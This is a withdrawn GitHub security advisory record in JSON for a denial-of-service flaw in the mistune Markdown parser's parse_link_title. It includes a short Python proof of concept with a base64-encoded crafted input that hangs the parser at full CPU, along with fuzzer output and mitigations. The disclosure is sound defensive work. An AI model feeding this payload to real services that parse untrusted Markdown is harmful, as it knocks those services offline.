{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0a1"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T16:56:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8mp2-v27r-99xp. This link is maintained to preserve external references.\n\n### Original Description\n\n### Summary\n**Denial-of-Service (DoS)** vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs.\n\n**Function affected:** parse_link_title() in helpers.py\n**Issue:** Malformed reference links cause excessive backtracking and parsing loops.\n**Impact:** Remote attackers can submit malicious Markdown to hang processes, causing service unavailability.\n\n### Details\n```\nName: mistune\nVersion: 3.2.0\nPython version: Python 3.13.9\nPIP version: pip 25.2\nOS: Kali-linux-VERSION=\"2025.4\"\n```\n\n### PoC\n```\nimport mistune\nimport base64\n\nprint(\"Exploit started....!\")\ndata = base64.b64decode(\n    \"WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg==\"\n)\nmistune.html(data.decode(\"utf-8\", errors=\"ignore\"))\n```\n\n### Reproduce steps:\nSimply execute above python script it will hang \u0026 increase cpu utilization to 100%\n\n**Fuzzer Output (libFuzzer):**\n```\nERROR: libFuzzer: timeout after 3 seconds\nSUMMARY: libFuzzer: timeout\n```\n\n**Stack Trace (Excerpt):**\n```\nmistune/helpers.py:170 in parse_link_title\nmistune/block_parser.py:259 in parse_ref_link\nmistune/core.py:216 in parse_method\nmistune/block_parser.py:458 in parse\nmistune/markdown.py:93 in parse\nmistune/markdown.py:120 in __call__\n```\n### IMAGE POC:\n\u003cimg width=\"1194\" height=\"728\" alt=\"POC\" src=\"https://github.com/user-attachments/assets/009e836f-fff7-439e-b0be-6e889bed0077\" /\u003e\n\n\n### Impact:\nDenial-of-Service (DoS)\nHigh CPU usage and application hang\nPotential for service unavailability in web apps or APIs processing untrusted Markdown\n\n### Suggested Mitigations:\nImplement parsing depth and iteration limits.\nLimit reference-link title length.\nDetects excessive escape character sequences.\nAdd defensive checks in parse_link_title.\nAdd fuzz regression tests using the provided PoC.\n\nThis vulnerability was discovered using coverage-guided fuzzing and is reproducible consistently.",
  "id": "GHSA-hjph-f4mc-wx4c",
  "modified": "2026-05-06T19:41:14Z",
  "published": "2026-05-06T16:56:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-hjph-f4mc-wx4c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input",
  "withdrawn": "2026-05-06T19:41:14Z"
}